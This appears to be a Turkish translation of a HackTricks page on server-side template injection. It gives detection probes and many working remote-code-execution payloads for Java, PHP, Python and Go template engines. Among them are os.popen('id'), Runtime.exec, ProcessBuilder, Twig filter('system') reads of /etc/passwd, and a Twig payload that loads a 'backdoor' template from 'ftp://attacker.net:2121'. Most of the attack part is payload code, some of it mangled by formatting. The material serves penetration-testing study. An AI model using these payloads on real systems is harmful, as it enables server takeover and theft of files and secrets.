Hacking püf noktalarınızı paylaşarak PR göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü amaçlı kod enjekte edebildiği bir zayıflıktır. Bu zayıflık, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak zayıf bir kod parçasını gösteren bir örnek düşünelim:
Bu zafiyetli kodda, kullanıcının isteğinden gelen name parametresi doğrudan render işlevi kullanılarak şablona iletiliyor. Bu, bir saldırganın name parametresine kötü amaçlı kod enjekte etmesine olanak tanıyabilir, bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.
Örneğin, bir saldırgan şöyle bir yük oluşturabilir:
Payload {{kötü-şey-buraya}}name parametresine enjekte edilir. Bu payload, saldırganın yetkisiz kodları yürütmesine veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir, potansiyel olarak sunucu üzerinde kontrol sağlar.
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için geliştiriciler, kullanıcı girdisinin şablonlara eklenmeden önce uygun şekilde temizlendiğinden ve doğrulandığından emin olmalıdır. Giriş doğrulaması uygulamak ve bağlam bilincinde kaçış tekniklerini kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
Tespit
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespiti için başlangıçta, şablonu fuzzlama basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini enjekte etmeyi (${{<%[%'"}}%\) içerir ve sunucunun düzenli verilere karşı bu özel yük ile yanıtındaki farkları analiz etmeyi içerir. Zafiyet göstergeleri şunları içerir:
Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran atılan hatalar.
Yansıma içinde yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini XSS'ten ayırt etmek için kontrol ederek teyit edin (örneğin, {{7*7}}, ${7*7}).
Kod Bağlamı: Sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için giriş parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, http://zafiyetli-web sitesi.com/?greeting=data.username içindeki greeting'i değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için greeting=data.username}}hello'yu döndürüp döndürmediğini kontrol edin.
Tanımlama Aşaması
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil özgü yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında ${7/0}, {{7/0}} ve <%= 7/0 %> bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ Sadece 2.3.30 sürümünden önceki Freemarker sürümlerinde çalışır.
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
Thymeleaf'te SSTI zafiyetleri için yaygın bir test ifadesi ${7*7} kullanılır, bu ifade bu şablon motoru için de geçerlidir. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:
Thymeleaf, bu ifadelerin belirli öznitelikler içine yerleştirilmesini gerektirir. Ancak, diğer şablon konumları için ifade içine yerleştirme[[...]] veya [(...)] gibi sözdizimini kullanarak desteklenir. Bu nedenle, basit bir SSTI test yükü şu şekilde olabilir: [[${7*7}]].
Ancak, bu yükün genellikle çalışma olasılığı düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiriciler, genellikle nadir olan, dize tabanlı şablonlar oluşturmak için kendi TemplateResolver'larını uygulamalıdır.
Thymeleaf ayrıca ifade ön işleme sunar, burada çift alt çizgiler içindeki (__...__) ifadeler ön işleme tabi tutulur. Bu özellik, Thymeleaf belgelerinde gösterildiği gibi ifadelerin oluşturulmasında kullanılabilir.
#{selection.__${sel.code}__}
Thymeleaf'deki Zafiyet Örneği
Aşağıdaki kod parçası düşmanca kullanıma açık olabilir:
{% set cmd ='id'%}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava, Java tabanlı bir template engine'dir. Server-Side Template Injection (SSTI) saldırılarını gerçekleştirmek için kullanılabilir. Jinjava, Java dilinde yazılmış ve Python'daki Jinja2 template engine'inin bir port'u olarak hizmet vermektedir. Jinjava, Java uygulamalarında template dosyalarını işlemek için kullanılan güçlü bir araçtır. Jinjava'nın SSTI saldırılarına karşı savunmasız olduğu durumlar olabilir, bu nedenle Jinjava kullanırken dikkatli olunmalıdır.
{{'a'.toUpperCase()}} would result in 'A'{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapıldı ve Github'daki Jinjava projesi keşfedildi.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çeşitli JavaEE teknolojilerinde yaygın olarak kullanılır. EL'i kullanan temel JavaEE teknolojileri şunlardır:
JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri yönetilen veri ve işlemlere bağlamak için EL kullanır.
JavaServer Pages (JSP): JSP'de EL, JSP sayfaları içinde veriye erişmek ve veriyi manipüle etmek için kullanılır, sayfa öğelerini uygulama verilerine bağlamayı kolaylaştırır.
Contexts and Dependency Injection for Java EE (CDI): EL, CDI ile entegre olarak web katmanı ile yönetilen bean'ler arasında sorunsuz etkileşime izin verir, daha tutarlı bir uygulama yapısı sağlar.
EL yorumlayıcılarının kötüye kullanımı hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı kontrol edin:
RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, Twig'den farklı olarak, Plates şablonlarda yerel PHP kodunu kullanır ve bu da PHP geliştiricileri için sezgisel hale getirir.
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php dosyası, sunucu tarafı şablon enjeksiyonu (SSTI) saldırılarını hedefleyen bir örnek uygulamayı içerir. Bu saldırı türü, kötü niyetli kullanıcıların web uygulamasının şablon motorunu istismar ederek sunucuda kod çalıştırmasına olanak tanır. Bu dosyayı inceleyerek SSTI saldırılarını anlamak ve önlemek için nasıl savunma mekanizmaları oluşturulabileceğini öğrenebilirsiniz.
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate PHP için derlenmeyen bir şablon motorudur ve belgeyi farklı parçalara bölmek için XML etiketlerini kullanır
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2, Python için tam özellikli bir şablon motorudur. Tam unicode desteği, isteğe bağlı entegre edilmiş kum sandığı yürütme ortamı, yaygın olarak kullanılan ve BSD lisanslıdır.
{{7*7}} = Hata
${7*7} = ${7*7}
{{foobar}} Hiçbir şey
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Şablon formatı
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Jinja'nın nasıl kötüye kullanılacağı hakkında daha fazla detay:
.NET System.Diagnostics.Process.Start yöntemi sunucuda herhangi bir işlemi başlatmak için kullanılabilir ve böylece bir webshell oluşturulabilir. https://github.com/cnotin/RazorVulnerableApp adresinde zafiyetli bir web uygulaması örneği bulabilirsiniz.
{{html "ssti"}}, {{js "ssti"}}: Bu yükler "html" veya "js" eklenmeden "ssti" döndürmelidir. Daha fazla yönerme Go belgelerinde keşfedilebilir burada.
XSS Sömürüsü
text/template paketi ile XSS doğrudan yükü ekleyerek basit olabilir. Buna karşılık, html/template paketi bu tür saldırıları önlemek için yanıtı kodlar (örneğin, {{"<script>alert(1)</script>"}} ifadesi <script>alert(1)</script> sonucunu verir). Bununla birlikte, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Kopyala kodu
RCE Sömürüsü
RCE sömürüsü, html/template ve text/template arasında önemli farklılıklar gösterir. text/template modülü, herhangi bir genel işlevi doğrudan çağırmayı sağlar ("call" değerini kullanarak), bu html/template içinde izin verilmez. Bu modüller için belgeler html/template için burada ve text/template için burada mevcuttur.
Go'da SSTI aracılığıyla RCE için nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesnenin komutları yürüten bir System yöntemi varsa, bunu {{ .System "ls" }} gibi sömürülebilir. Bu sömürüyü gerçekleştirmek genellikle kaynak koduna erişim gerektirir, verilen örnekte olduğu gibi:
RootedCON, İspanya'nın en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.